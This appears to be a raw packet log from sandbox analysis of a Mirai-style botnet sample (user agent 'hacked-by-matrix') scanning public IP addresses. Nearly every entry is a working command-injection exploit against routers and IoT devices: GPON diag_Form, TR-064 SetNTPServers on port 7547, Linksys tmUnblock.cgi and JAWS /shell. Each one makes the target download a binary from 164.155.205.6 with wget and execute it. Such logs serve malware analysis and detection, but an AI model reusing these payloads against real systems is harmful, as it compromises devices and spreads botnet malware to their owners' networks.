Mar 2, 2024 12:38:04.099737883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.23	50560	210.6.43.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099737883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.23	48386	94.64.167.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099771976 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.23	45282	42.110.97.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099802017 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.23	47598	79.143.123.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099807978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.23	57262	5.239.230.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099924088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.23	38176	219.121.154.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.172292948 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:04.460095882 CET	122	IN	HTTP/1.1 200 OK Server: RG/Device 10.x Content-Type: text/xml Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.23	35798	112.176.76.95	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.198050976 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:05.823307991 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.23	43888	172.65.52.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.253127098 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.23	40932	190.97.165.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.320843935 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:05.183264971 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:06.171257019 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:08.155107021 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:12.256949902 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:20.185333014 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:36.060807943 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.23	34640	218.146.174.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.392709017 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.23	38262	219.121.154.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.460347891 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:04.749174118 CET	122	IN	HTTP/1.1 200 OK Server: RG/Device 10.x Content-Type: text/xml Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.23	55970	99.251.113.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.695388079 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.23	42170	50.39.152.31	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.739062071 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.23	56080	99.251.113.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.819864035 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.23	42280	50.39.152.31	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.907596111 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.23	55420	116.73.95.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:05.455358028 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:07.487140894 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.23	35888	112.176.76.95	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:05.525749922 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.23	53900	46.127.228.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:05.608217001 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.23	53912	46.127.228.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:05.822185040 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.23	34580	72.22.46.18	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:05.981852055 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:06.279387951 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:06.380234957 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid Mime-Version: 1.0 Date: Sat, 02 Mar 2024 11:38:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from ph-8833d25e Via: 1.1 ph-8833d25e (squid) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 33 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 